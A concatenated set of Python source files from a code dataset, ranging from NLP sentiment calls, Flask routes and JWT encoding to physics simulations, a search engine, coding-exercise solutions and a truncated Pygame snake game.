types.Document(\n content=text.encode('utf-8'),\n type=enums.Document.Type.PLAIN_TEXT)\n\n # Detect and send native Python encoding to receive correct word offsets.\n encoding = enums.EncodingType.UTF32\n if sys.maxunicode == 65535:\n encoding = enums.EncodingType.UTF16\n\n result = client.analyze_entity_sentiment(document, encoding)\n\n for entity in result.entities:\n print('Mentions: ')\n print(u'Name: \"{}\"'.format(entity.name))\n for mention in entity.mentions:\n print(u' Begin Offset : {}'.format(mention.text.begin_offset))\n print(u' Content : {}'.format(mention.text.content))\n print(u' Magnitude : {}'.format(mention.sentiment.magnitude))\n print(u' Sentiment : {}'.format(mention.sentiment.score))\n print(u' Type : {}'.format(mention.type))\n \n\n#entity_sentiment_text(\"Karachi is a very unhealthy place to live these days because of the pollution and overpopulation, the government need to do something about it\")\n\nentity_sentiment_text(\"Rashid is very happy because he got A grade in machine learning\")\n","sub_path":"Machine Learning API/nlp/entity_sentiment.py","file_name":"entity_sentiment.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"11871661","text":"import time\r\nimport os\r\nimport shutil\r\n\r\ndef removingFiles():\r\n path = input(\"Enter the source folder name : \")\r\n days = 30\r\n seconds = time.time()-(days*24*60*60)\r\n\r\n if os.path.exists(path):\r\n print(\"huigefiefug\")\r\n for root, dirs, files in os.walk(path):\r\n print(\"viva\")\r\n if seconds > os.stat(path).st_ctime:\r\n shutil.rmtree(path)\r\nremovingFiles()\r\n\r\n \r\n \r\n\r\n \r\n\r\n \r\n\r\n ","sub_path":"RemoveFiles.py","file_name":"RemoveFiles.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"607161405","text":"import matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation\n\ndef run_life(board, update, n, plot=False):\n n_steps = 10\n if plot:\n fig = plt.figure()\n im = plt.imshow(board, interpolation='nearest')\n plt.title(\"The Game of Life\")\n plt.axis('off')\n\n def update_im(dt, im):\n update(board, n)\n im.set_data(board)\n return im,\n \n anim = FuncAnimation(fig, update_im, frames=n_steps, fargs=(im,),\n init_func=lambda: None, interval=50, blit=False, repeat=False)\n plt.show()\n\n else:\n for t in range(n_steps):\n update(board, n)","sub_path":"Game of Life Code/_run_life.py","file_name":"_run_life.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"178197991","text":"import numpy as np\nimport string\nfrom skimage import io\nfrom glob import glob\nfrom scipy.ndimage.filters import gaussian_filter\n\nimage_list = list(glob('./*.png'))\nsigmadots = 8\n\nfor fname in image_list:\n im = io.imread(fname)\n count = np.count_nonzero(im[:,:,0])\n im32 = (im[:,:,0]/255).astype('float32')\n count32 = np.count_nonzero(im32)\n dot = gaussian_filter(im32, sigmadots)\n countdot = np.sum(dot)\n print('%s: %d (8-bit) %d (32-bit) %f (summed)'%(fname,count,count32,countdot))\n fname_out = string.replace(fname,'.png','.npy')\n np.save(fname_out, dot)\n","sub_path":"data/UCSD/B/blur.py","file_name":"blur.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"165617109","text":"import os\nfrom flask import render_template, url_for, send_from_directory\nfrom jasonsite import app\n\n\n@app.route('/favicon.ico')\ndef favicon():\n return send_from_directory(os.path.join(app.root_path, 'static'),'favicon.ico', mimetype='image/vnd.microsoft.icon')\n\n@app.route(\"/\")\n@app.route(\"/home\")\ndef home():\n page_title=\"home\"\n return render_template('home.html', title=page_title)\n\n\n@app.route(\"/about\")\ndef about():\n page_title=\"about\"\n return render_template('about.html', title=page_title)\n\n\n@app.route(\"/resume\")\ndef resume():\n page_title=\"Resume\"\n return render_template('resume.html', title=page_title)\n\n\n@app.route(\"/projects\")\ndef projects():\n page_title=\"projects\"\n return render_template('projects.html', title=page_title)\n\n# |--GRAPHIC DESIGN SECTION--|\n@app.route(\"/graphic_design\")\ndef graphic_design():\n page_title=\"Graphic Design\"\n return render_template('graphic_design.html', title=page_title)\n\n\n@app.route(\"/projects/portfolio\")\ndef portfolio():\n page_title=\"Portfolio\"\n return render_template('portfolio.html', title=page_title) \n# END GRAPHIC DESIGN SECTION\n\n\n# |--WEB DESIGN SECTION--|\n@app.route(\"/projects/web_design\")\ndef web_design():\n page_title=\"Web Design\"\n project_title= \"Template Design\"\n project_date= \"3/15/2020\"\n\n project_text= \"\\'Bacon ipsum dolor amet chicken ball tip swine pastrami picanha leberkas bresaola sausage buffalo corned beef tongue tri-tip strip steak biltong shankleKielbasa biltong landjaeger ham hock capicola, jowl pork loin tri-tip ground round cupim corned beef filet mignon chuck boudin.\\'\"\n\n project_pill= \"/static/images/pills/svg/python_pills.svg\"\n return render_template('web_design.html', title=page_title, project_title=project_title, project_date=project_date, project_text=project_text, project_pill=project_pill)\n\n\n# END WEB DESIGN SECTION\n# |--WEB DEVELOPMENT SECTION--|\n@app.route(\"/web_development\")\ndef web_development():\n page_title=\"Web Development\"\n project_title= \"JasonPonce.Info\"\n project_date= \"3/15/2020\"\n\n project_text= \"\\'Bacon ipsum dolor amet chicken ball tip swine pastrami picanha leberkas bresaola sausage buffalo corned beef tongue tri-tip strip steak biltong shankleKielbasa biltong landjaeger ham hock capicola, jowl pork loin tri-tip ground round cupim corned beef filet mignon chuck boudin.\\'\"\n\n project_pill= \"/static/images/pills/svg/python_pills.svg\"\n return render_template('web_development.html', title=page_title, project_title=project_title, project_date=project_date, project_text=project_text, project_pill=project_pill)\n\n\n@app.route(\"/web_development/jasonponce_info\")\ndef jasonponce():\n page_title=\"JasonPonce.Info\"\n return render_template('jasonponce_info.html', title=page_title)\n\n@app.route(\"/test\")\ndef test():\n page_title=\"test\"\n return render_template('test.html', title=page_title)\n\n\n# END WEB DEVELOPMENT SECTION\n\n# TESTING \n# GROUNDS\n# FOR\n# STUFF\n# @app.route(\"/testing_grounds\")\n# def testing_grounds():\n# page_title=\"testing grounds\"\n# return render_template('projects_index.html', title=page_title)\n\n\n","sub_path":"jasonsite/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"600681855","text":"import argparse\nfrom pathlib import Path\nfrom tqdm import tqdm\nimport torch\nfrom einops import repeat\nfrom PIL import Image\nfrom torchvision.utils import make_grid, save_image\nfrom dalle_pytorch import DiscreteVAE, OpenAIDiscreteVAE, VQGanVAE1024, DALLE\nfrom dalle_pytorch.tokenizer import tokenizer, HugTokenizer\nimport pandas as pd\nimport os\nimport clip\nimport torch.nn.functional as F\nimport torchvision.transforms as transforms\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import figure\nimport numpy as np\nimport time\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"1\"\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\nmodel, preprocess = clip.load(\"ViT-B/32\", device=device)\n\n\ndef generate_images(dalle_path, text, num_images, batch_size, top_k, bpe_path):\n tokenizer = HugTokenizer(bpe_path)\n dalle_path = Path(dalle_path)\n load_obj = torch.load(str(dalle_path))\n dalle_params, vae_params, weights = load_obj.pop('hparams'), load_obj.pop('vae_params'), load_obj.pop('weights')\n print(dalle_params)\n dalle_params.pop('vae', None) # cleanup later\n vae = VQGanVAE1024()\n dalle = DALLE(vae = vae, **dalle_params).cuda()\n dalle.load_state_dict(weights)\n\n # generate images\n image_size = vae.image_size\n text = tokenizer.tokenize([text], dalle.text_seq_len).cuda()\n text = repeat(text, '() n -> b n', b = num_images)\n outputs = []\n for text_chunk in tqdm(text.split(batch_size)):\n output = dalle.generate_images(text_chunk, filter_thres = top_k, temperature=1.0)\n outputs.append(output)\n return torch.cat(outputs)\n\n\ndef save_outputs(outputs, folder):\n odir = Path(folder)\n odir.mkdir(parents = True, exist_ok = True)\n for i, image in tqdm(enumerate(outputs), desc = 'saving images'):\n save_image(image, odir / f\"{i}.jpg\", normalize=True)\n\n\ndef prepro(folder, im):\n return preprocess(Image.open(f\"{folder}/{im}.jpg\")).unsqueeze(0).to(device)\n\n\ndef read_images_for_ranking(folder, num_images):\n return torch.cat(tuple([prepro(folder, x) for x in range(num_images)]))\n\n\ndef read_images_for_showing(folder, num_images):\n t = transforms.ToTensor()\n images = torch.stack(tuple([t(Image.open(f\"{folder}/{x}.jpg\")) for x in range(num_images)]))\n return images.cpu().numpy()\n\n\ndef clip_ranking(images, caption):\n image = F.interpolate(images, size=224)\n text = clip.tokenize(caption).to(device)\n with torch.no_grad():\n image_features = model.encode_image(image)\n text_features = model.encode_text(text)\n _, logits_per_text = model(image, text)\n probs = logits_per_text.softmax(dim=-1).cpu().numpy()\n probabilities = probs[0]\n return probabilities, logits_per_text.cpu().numpy()[0]\n\n\ndef show_reranking(images, scores, logits, sort=True):\n img_shape = images.shape\n if sort:\n scores_sort = scores.argsort()\n scores = scores[scores_sort[::-1]]\n images = images[scores_sort[::-1]]\n logits = logits[scores_sort[::-1]]\n\n rows = 4\n cols = img_shape[0] // 4\n img_idx = 0\n figs = []\n for col in range(cols):\n fig, axs = plt.subplots(1, rows, figsize=(20,20))\n plt.subplots_adjust(wspace=0.01)\n for row in range(rows):\n tran_img = np.transpose(images[img_idx], (1,2,0))\n axs[row].imshow(tran_img, interpolation='nearest')\n axs[row].set_title(\"{}%\".format(np.around(scores[img_idx]*100, 2)) + f\" {logits[img_idx]}\")\n axs[row].set_xticks([])\n axs[row].set_yticks([])\n img_idx += 1\n fig.canvas.draw()\n rgba_buf = fig.canvas.buffer_rgba()\n (w,h) = fig.canvas.get_width_height()\n #print(w,h)\n rgba_arr = np.frombuffer(rgba_buf, dtype=np.uint8).reshape((h,w,4))\n # drop rows where there are only pixels with [255,255,255,0]\n mid_arr = int(len(rgba_arr) / 2)\n rgba_arr = rgba_arr[int(mid_arr-250):int(mid_arr+250),:,:]\n\n figs.append(rgba_arr)\n return figs\n #plt.imsave(\"testim2.png\",np.concatenate(tuple([x.canvas.renderer.buffer_rgba() for x in figs]),axis=0))\n\n\ndef get_model_output(dalle_path, out_path):\n torch.cuda.empty_cache()\n model, preprocess = clip.load(\"ViT-B/32\", device=device)\n ims = generate_images(dalle_path, text, num_images, batch_size, top_k, bpe_path)\n folder = f\"{out_path}/{dalle_path[:-3]}\"\n save_outputs(ims, folder)\n rereadims = read_images_for_ranking(folder, num_images)\n probs, logits = clip_ranking(rereadims, text)\n np_images = read_images_for_showing(folder, num_images)\n figs = show_reranking(np_images, probs, logits)\n return figs, probs, logits\n\ndef save_results_to_file(figs, logits, dalle_path, out_path):\n fname = f\"{out_path}/{mname}\"\n np.save(fname, logits)\n plt.imsave(\n fname + \".png\",\n np.concatenate(tuple([x for x in figs]),axis=0)\n #np.concatenate(tuple([x.canvas.renderer.buffer_rgba() for x in figs]),axis=0)\n )\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n group = parser.add_mutually_exclusive_group(required = False)\n group.add_argument('--dalle_path', type = str, help='path to your partially trained DALL-E')\n parser.add_argument('--text', type = str)\n parser.add_argument('--out_path', type = str)\n parser.add_argument('--num_images', type = int)\n args = parser.parse_args()\n\n print(args.dalle_path)\n\n #dalle_path = \"grateful-energy-30/grateful-energy-30-55.pt\"\n #text = \"this colorful bird has a yellow breast, with a black crown and a black cheek patch\"\n text = args.text\n out_path = args.out_path\n num_images = args.num_images\n\n #num_images = 128\n batch_size = 16\n top_k = 0.9\n bpe_path = \"./cub200_bpe_vsize_7800.json\"\n\n s = args.dalle_path.split('-')\n mname = f\"B{s[4]}-{s[5][:-3]}\"\n\n figs, probs, logits = get_model_output(args.dalle_path, out_path)\n save_results_to_file(figs, logits, mname, out_path)\n\n with open(f\"{out_path}/results.txt\", \"a+\") as f:\n f.write(f\"{mname} {np.mean(logits)} {np.std(logits)}\\n\")\n","sub_path":"genrank.py","file_name":"genrank.py","file_ext":"py","file_size_in_byte":6052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"445690879","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport collections\nimport json\n\nimport jwt\n\n\nJwtConfig = collections.namedtuple('JwtConfig',\n [\n 'service_id',\n 'service_name',\n 'client_id',\n 'client_secret',\n 'auth_service_name',\n 'key_sync_service_name'\n ])\n\ndef jwt_decoder(obj):\n return JwtConfig(service_id=obj['service_id'], service_name=obj['service_name'],\n client_id=obj['client_id'], client_secret=obj['client_secret'],\n auth_service_name=obj['auth_service_name'],\n key_sync_service_name=obj['key_sync_service_name'])\n\n\ndef load_jwt(jwt_json):\n return json.loads(jwt_json, object_hook=jwt_decoder)\n\n\ndef jwt_encode(jwt_config, scopes):\n headers = {'kid': jwt_config.client_id}\n payload = {'scope': ' '.join(scopes)}\n return jwt.encode(payload, jwt_config.client_secret, algorithm='RS256', headers=headers)","sub_path":"xrpc/auth/jwt.py","file_name":"jwt.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"497656224","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import division\nimport math\nimport numpy as np\nimport scipy as sp\nimport pandas\nimport matplotlib.pyplot as plt\nfrom progressbar import ProgressBar\nfrom scipy.sparse import linalg as sparse_linalg\n\nfrom Hamiltonian_Classes import Hamiltonian,H_table,clock_Hamiltonian,spin_Hamiltonian,H_operations\nfrom System_Classes import unlocking_System,U1_system\nfrom Symmetry_Classes import translational,parity,model_sym_data,charge_conjugation,translational_general\n# from Plotting_Classes import eig_overlap,fidelity,entropy,energy_basis\nfrom Construction_functions import bin_to_int_base_m,int_to_bin_base_m,cycle_bits_state\nfrom Search_functions import find_index_bisection\nfrom State_Classes import zm_state,sym_state,prod_state,bin_state,ref_state\nfrom rw_functions import save_obj,load_obj\nfrom Calculations import level_stats,fidelity,eig_overlap,entropy,site_precession,site_projection,time_evolve_state,gen_fsa_basis,gen_krylov_basis\n\nfrom matplotlib import rc\nrc('font',**{'family':'sans-serif','sans-serif':['Computer Modern'],'size':26})\n## for Palatino and other serif fonts use:\n#rc('font',**{'family':'serif','serif':['Palatino']})\nrc('text', usetex=True)\n# matplotlib.rcParams['figure.dpi'] = 400\n\ndef com(a,b):\n return np.dot(a,b)-np.dot(b,a)\n\n#init system\nN=21\npxp = unlocking_System([0],\"periodic\",2,N)\npxp.gen_basis()\npxp_syms = model_sym_data(pxp,[translational_general(pxp,order=3)])\n\nH0 = Hamiltonian(pxp,pxp_syms)\nH0.site_ops[1] = np.array([[0,1],[1,0]])\nH0.model = np.array([[1]])\nH0.model_coef = np.array([1])\n\nH1 = Hamiltonian(pxp,pxp_syms)\nH1.site_ops[1] = np.array([[0,1],[1,0]])\nH1.model = np.array([[0,1,0,0],[0,0,1,0],[0,1,0,0],[0,0,1,0]])\nH1.model_coef = np.array([1,1,1,1])\nH1.uc_size = np.array([3,3,3,3])\nH1.uc_pos = np.array([1,2,2,1])\n\nk=[0]\nH0.gen(k)\nH1.gen(k)\n# H0.gen()\n# H1.gen()\nH = H_operations.add(H0,H1,np.array([1,-1]))\n\n\nfrom Calculations import plot_adjacency_graph,connected_comps\ncomp = connected_comps(H,k)\n# comp = connected_comps(H)\ncomp.find_connected_components()\nsubspace_sizes = dict()\nfor n in range(0,len(comp.components)):\n print(\"\\n\")\n print(np.size(comp.components[n]))\n for m in range(0,np.size(comp.components[n],axis=0)):\n print(pxp.basis[pxp.keys[comp.components[n][m]]])\n size = np.size(comp.components[n])\n if size not in list(subspace_sizes.keys()):\n subspace_sizes[size] = 1\n else:\n subspace_sizes[size] += 1\n\nsizes = list(subspace_sizes.keys())\nfreq = np.zeros(np.size(sizes))\nfor n in range(0,np.size(freq,axis=0)):\n freq[n] = subspace_sizes[sizes[n]] \nprint(sizes)\nprint(freq)\nplt.bar(sizes,freq)\nplt.xlabel(r\"Sector Sizes\")\nplt.ylabel(r\"Freq\")\nplt.title(r\"$PXP - V$ Exact SU(2) Embedding, Connected Components, N=\"+str(pxp.N))\nplt.show()\n \nprint(\"\\n\")\nno_sectors = len(comp.components)\nlargest_sector = np.max(sizes)\nnp.save(\"largest_sector,\"+str(pxp.N),[largest_sector])\nnp.save(\"no_sectors,\"+str(pxp.N),[no_sectors])\nprint(str(len(comp.components))+\" fractured subspaces\")\nbasis_labels = dict()\nfor n in range(0,np.size(pxp.basis,axis=0)):\n basis_labels[n] = pxp.basis[n]\n\n# plot_adjacency_graph(np.abs(H.sector.matrix()),labels=basis_labels,largest_comp=False)\n# plot_adjacency_graph(np.abs(H.sector.matrix()),labels=None,largest_comp=False)\n# plt.show()\n","sub_path":"projects/broken_su2_general_models/exactScarsSU2/z3ExactConnectedComps.py","file_name":"z3ExactConnectedComps.py","file_ext":"py","file_size_in_byte":3339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"190678130","text":"import spacy\nimport json\nfrom Levenshtein import distance as levenshtein_distance\nfrom nltk.tokenize import word_tokenize\n\n\ndef get_adverbs_and_adjectives(query):\n doc = nlp(query)\n elems = []\n for token in doc:\n if token.pos_ in (\"ADV\", \"ADJ\"):\n elems.append(token.text)\n return elems\n\ndef get_query_support_elements(query, mainElements):\n elems = []\n temp = get_adverbs_and_adjectives(query)\n for i in temp:\n if i not in mainElements:\n elems.append((i,1))\n temp = get_nouns_and_verbs(query)\n for i in temp:\n if i not in mainElements:\n elems.append((i,2))\n return list(set(elems))\n\ndef tokenize_sentence(query):\n return word_tokenize(query)\n\ndef get_nouns_and_verbs(query):\n doc = nlp(query)\n elems = []\n for token in doc:\n if token.pos_ in (\"AUX\", \"VERB\", \"PROPN\", \"NOUN\"):\n elems.append(token.text)\n return elems\n\ndef get_named_entities(query):\n elems = []\n doc = nlp(query)\n for ent in doc.ents:\n elems.append(ent.text)\n return elems\n\ndef get_query_elements(query):\n elems = get_named_entities(query)\n if len(elems) > 0:\n return elems\n elems = get_nouns_and_verbs(query)\n if len(elems) > 0:\n return elems\n return tokenize_sentence(query)\n\ndef get_correspondent_word(elem,index):\n correspondence_ranking = []\n seen_distances = []\n max_acceptable_distance = 3\n for key in index:\n distance = levenshtein_distance(elem,key)\n if distance == 1:\n return key\n if distance <= max_acceptable_distance:\n if distance not in seen_distances:\n seen_distances.append(distance)\n correspondence_ranking.append((key,distance)) \n correspondence_ranking.sort(key=lambda x: x[1], reverse=False)\n if len(correspondence_ranking) == 0:\n return None\n return correspondence_ranking[0][0]\n\ndef correct_query(query, query_elements, index):\n corrections = {}\n for elem in query_elements:\n if elem not in index:\n correction = get_correspondent_word(elem, index)\n if correction != None:\n corrections[elem] = correction\n corrected_query = query\n for key in corrections:\n corrected_query = corrected_query.replace(key, corrections[key])\n return corrected_query, corrections\n\ndef rank_documents(doc_ids, repo, main_elements, differential_elements):\n doc_id_points = {doc_id: 0 for doc_id in doc_ids}\n for main_el in main_elements:\n for doc_id in doc_ids:\n doc_id_points[doc_id] += repo[doc_id].count(main_el) * 3\n\n for dif_el in differential_elements:\n for doc_id in doc_ids:\n doc_id_points[doc_id] += repo[doc_id].count(dif_el[0]) * dif_el[1]\n\n docs_ids_sorted = list(doc_id_points.items())\n docs_ids_sorted.sort(key=lambda x: x[1], reverse=True)\n return [ x[0] for x in docs_ids_sorted]\n\n\n\ndef get_results(query, main_elements, differential_elements, n, repo,index,corpus):\n results_ids = set()\n if set(main_elements) <= set(index.keys()):\n for ele in main_elements:\n for doc_id in index[ele]:\n results_ids.add(doc_id)\n ranked_doc_ids = rank_documents(list(results_ids), repo, main_elements, differential_elements)\n if len(ranked_doc_ids) > n:\n ranked_doc_ids = ranked_doc_ids[:n]\n return [corpus[doc_id] for doc_id in ranked_doc_ids]\n \n\ndef main(repo,index,corpus):\n query = \"\"\n while not query: \n query = str(input(\"Type your query: \")).strip()\n\n query_response = {\"query\": query}\n query_response['must_have'] = get_query_elements(query)\n\n correction, dict_corrections = correct_query(query, query_response['must_have'], index)\n if correction != query:\n intention = \"\"\n while intention not in (\"Y\",\"N\"):\n intention = str(input(f\"Did you meant: `{correction}`? (Y/N): \")).upper()\n if intention == 'Y':\n query_response['must_have'] = [dict_corrections[x] if x in dict_corrections else x for x in query_response['must_have'] ]\n query_response['query_corrected_to'] = correction\n query = correction\n\n\n if len(word_tokenize(query)) == len(query_response['must_have']):\n query_response['nice_to_have'] = []\n else:\n query_response['nice_to_have'] = get_query_support_elements(query, query_response['must_have'])\n\n number_of_results = 3\n print(\"Searching...\")\n results = get_results(query, query_response['must_have'],query_response['nice_to_have'], number_of_results, repo,index,corpus)\n\n\n\n print(\"Original query: \", query_response['query'])\n\n if 'query_corrected_to' in query_response:\n print(\"Query corrected to: \", query_response['query_corrected_to'])\n\n print(\"Main elements found in the query: \", query_response['must_have'])\n\n if len(query_response['nice_to_have']) > 0:\n print(\"Intersting elements found in the query: \", query_response['nice_to_have'])\n \n if len(results) == 0:\n print(\"\\n Sorry, couldn't find any relevant document for this query. \\n\")\n else:\n print(f\"\\n\\n{len(results)} results was found: \\n\\n\")\n for result in results:\n print(f\"{result}\\n\\n\\n\")\n\n\nif __name__ == '__main__':\n print(\"Loading...\")\n nlp = spacy.load(\"en_core_web_sm\")\n with open(\"./repository.json\", 'r') as file:\n repo = json.load(file)\n with open(\"./index.json\", 'r') as file:\n index = json.load(file)\n with open(\"./corpus.json\", 'r') as file:\n corpus = json.load(file)\n main(repo,index,corpus)\n","sub_path":"searcher.py","file_name":"searcher.py","file_ext":"py","file_size_in_byte":5635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"492159706","text":"# A sequence of numbers is called a wiggle sequence if the differences between successive numbers strictly alternate between positive and negative. The first difference (if one exists) may be either positive or negative. A sequence with fewer than two elements is trivially a wiggle sequence.\n#\n# For example, [1,7,4,9,2,5] is a wiggle sequence because the differences (6,-3,5,-7,3) are alternately positive and negative. In contrast, [1,4,7,2,5] and [1,7,4,5,5] are not wiggle sequences, the first because its first two differences are positive and the second because its last difference is zero.\n#\n# Given a sequence of integers, return the length of the longest subsequence that is a wiggle sequence. A subsequence is obtained by deleting some number of elements (eventually, also zero) from the original sequence, leaving the remaining elements in their original order.\n#\n# Example 1:\n#\n#\n# Input: [1,7,4,9,2,5]\n# Output: 6\n#\n#\n#\n# Example 2:\n#\n#\n# Input: [1,17,5,10,13,15,10,5,16,8]\n# Output: 7\n#\n#\n#\n# Example 3:\n#\n#\n# Input: [1,2,3,4,5,6,7,8,9]\n# Output: 2\n#\n# Follow up:\n# Can you do it in O(n) time?\n#\n#\n#\n\n\nclass Solution:\n def wiggleMaxLength(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n # O(N), but TLE, DK reason\n # if nums == []: return 0\n # if len(nums) == 1: return 1\n # # Edge case: duplicate in the beginning, this will influence the initialization\n # for i in range(1, len(nums)):\n # if nums[i] != nums[0]:\n # break\n # curr = 1 if nums[i] - nums[0] > 0 else -1\n # l = 2 if i < len(nums) - 1 else 1\n # while i < len(nums)-1:\n # diff = nums[i+1] - nums[i]\n # if diff == 0: continue\n # #print(diff, curr)\n # if curr > 0 and curr * diff < 0:\n # l += 1\n # curr = -1\n # elif curr < 0 and curr * diff < 0:\n # l += 1\n # curr = 1\n # i += 1\n \n \n # return l\n \n if nums == []: return 0\n curr_pos = curr_neg = 1\n for i in range(1, len(nums)):\n if nums[i] - nums[i-1] > 0:\n curr_pos = curr_neg + 1\n elif nums[i] - nums[i-1] < 0:\n curr_neg = curr_pos + 1\n \n return max(curr_pos, curr_neg)\n \n \n \n \n","sub_path":"376-wiggle-subsequence/wiggle-subsequence.py","file_name":"wiggle-subsequence.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"440048799","text":"# -*- encoding: iso-latin-1 -*-\n#============================================================================\n__license__ = \"https://raw.githubusercontent.com/20Tauri/DoxyDoxygen_contrib_HeaderDoc/master/LICENSE.md\"\n\n\n#----------------------------------------------------------------------------\n## @brief HeaderDoc commands description\n##\n## @see https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/HeaderDoc/tags/tags.html#//apple_ref/doc/uid/TP40001215-CH346-CHDJFEGF\n##\nCOMMANDS_LIST = [\n #\n # name:\n # Name on the command\n #\n # args_format:\n # If braces are used the argument is a single word.\n # If (round) braces are used the argument extends until the end of the line on which the command was found.\n # If {curly} braces are used the argument extends until the next paragraph. Paragraphs are delimited by a blank line or by a section indicator.\n # And [] mark in optional block\n #\n # key_index:\n # If a parameter is a key, this position (firsty is 0)\n #\n # help:\n # Command description\n #\n # aliases:\n # List of aliases names for this commands\n #\n DoxyCommand( '@const', '\\t{ description_of_the_variable }', help = \"Documents a constant within an enumeration\", aliases = [ '@constant' ]),\n DoxyCommand( '@param', '\\t\\t{ parameter_description }', key_index = 0, help = \"Documents the parameter to a function\"),\n DoxyCommand( '@return', '\\t{ description_of_the_return_value }', help = \"Documents the return value of a function\", aliases = [ '@results' ]),\n DoxyCommand( '@throws', '\\t\\t{ exception_description }', key_index = 0, help = \"Starts an exception description for an exception object with name \"),\n DoxyCommand( '@var', '\\t{ description_of_the_variable }', help = \"Documents a local variable in a function or method\"),\n]\n\nclass DocStyle(DocStyleBase):\n name = \"HeaderDoc\"\n\n def __init__(self):\n DocStyleBase.__init__(self, COMMANDS_LIST)\n\n def generate_uncommented_text(self, definition):\n uncommented_text = \"\"\n\n if definition[\"kind\"] in [\"var\"]:\n uncommented_text += self.command(\"@var\", [])\n elif definition[\"kind\"] in [ \"constant\" ]:\n uncommented_text += self.command(\"@const\", [])\n else:\n for (_, _, name, _) in definition[\"params\"]:\n uncommented_text += self.command(\"@param\", [ name ])\n\n definition_return = definition[\"return\"]\n if definition_return and definition_return != \"void\":\n uncommented_text += self.command(\"@return\", [])\n\n for type_name in definition[\"throws\"]:\n uncommented_text += self.command(\"@throws\", [ type_name ])\n\n return uncommented_text\n","sub_path":"Packages/DoxyDoxygen_contrib_HeaderDoc/v1.0/DocStyle.py","file_name":"DocStyle.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"616051650","text":"def solution(S):\n brackets = {\"(\":\")\", \"{\":\"}\",\"[\":\"]\"}\n stack = []\n for char in S:\n if brackets.get(char, False): # 여는 괄호이면\n stack.append(char)\n else: # 닫는 괄호이면\n if not stack or brackets[stack.pop()] != char: return 0 # stack 마지막의 괄호와 매칭이 안되면\n if stack: return 0 # stack에 남은 요소가 있으면 \n else: return 1 # stack이 비어있으면\n\n","sub_path":"Codility/Brackets.py","file_name":"Brackets.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"323334400","text":"\"\"\" DIVISORS\n\nCreate a program that asks the user for a number and then\nprints out a list of all the divisors of that number. (If\nyou don’t know what a divisor is, it is a number that\ndivides evenly into another number. For example, 13 is a\ndivisor of 26 because 26 / 13 has no remainder.)\n\nAuthor:\n Eric L.\n \nCopyright:\n 2018, BE\n\"\"\"\ndividend = int(input(\"Type in a number...\"))\n\n# Create a list: [1, 2, 3, ..., dividend - 1]\nnumbers = range(1, dividend)\n\nfor number in numbers:\n # Print if number is a factor.\n if dividend % number == 0:\n print(number)\n\n# Or generate a list using a comprehension.\nprint([element for element in range(1, dividend) if dividend % element == 0])\n","sub_path":"divisors.py","file_name":"divisors.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"161256382","text":"import logging\nimport unittest\n\n\n\"\"\"Brackets (https://codility.com/demo/take-sample-test/brackets/)\n\nAnalysis:\n - Trap: Consider empty list case\n\"\"\"\n\n__author__ = 'au9ustine'\nlogging.basicConfig(format='%(message)s', level=logging.DEBUG)\n\n\ndef solution(S):\n symbols = []\n mappings = {'{': -1, '}': 1, '[': -2, ']': 2, '(': -3, ')': 3}\n for c in S:\n if mappings[c] < 0:\n symbols.append(mappings[c])\n else:\n if len(symbols) == 0:\n return 0\n top = symbols.pop()\n if mappings[c] + top != 0:\n return 0\n if len(symbols) == 0:\n return 1\n else:\n return 0\n\n\nclass SolutionTest(unittest.TestCase):\n\n def setUp(self):\n self.data = [\n (\"{[()()]}\", 1),\n (\"([)()]\", 0),\n ]\n\n def test_solution(self):\n for input_data, expected in self.data:\n actual = solution(input_data)\n self.assertEquals(expected, actual)\n\nif __name__ == \"__main__\":\n unittest.main(failfast=True)","sub_path":"lessons/lesson05_stacks_and_queues/Brackets.py","file_name":"Brackets.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"600527431","text":"import pygame\nimport random\n\n# инициализируем игру\npygame.init()\n\n# создаем дисплей для игры\nwidth = 640\nheight = 480\ndisplay = pygame.display.set_mode((width, height))\n\npygame.display.update()\npygame.display.set_caption(\"Питон на Питоне by Поветьев\")\n\n# цвета\ncolors = {\n \"snake_head\": (0, 255, 0),\n \"snake_tail\": (0, 200, 0),\n \"apple\": (255, 0, 0)\n}\n\n# позиция змейки со смещением\nsnake_pos = {\n \"x\": width / 2 - 10,\n \"y\": height / 2 - 10,\n \"x_change\": 0,\n \"y_change\": 0\n}\n\n# размер змейки\nsnake_size = 